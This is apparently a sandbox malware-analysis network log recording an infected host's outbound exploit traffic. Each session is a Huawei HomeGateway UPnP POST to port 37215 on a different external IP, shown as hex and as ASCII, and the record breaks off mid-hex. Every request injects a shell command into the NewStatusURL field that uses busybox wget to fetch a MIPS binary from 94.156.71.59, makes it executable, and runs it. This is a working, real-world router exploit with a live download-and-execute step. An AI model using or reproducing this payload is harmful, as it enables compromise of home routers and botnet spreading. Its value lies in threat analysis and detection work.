Jun 10, 2024 15:38:00.259448051 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.13	46142	41.112.119.1	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.260139942 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.13	44940	197.195.196.75	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.260853052 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.13	51604	197.95.0.54	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.261547089 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.13	47796	197.194.180.37	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.262299061 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.13	57558	41.109.88.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.263048887 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.13	45736	41.207.144.176	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.263818026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.13	48610	156.7.198.77	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.264605045 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.13	51268	41.201.241.195	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.265357018 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.13	37370	41.129.146.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.266123056 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.13	59132	156.196.209.129	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.268090010 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 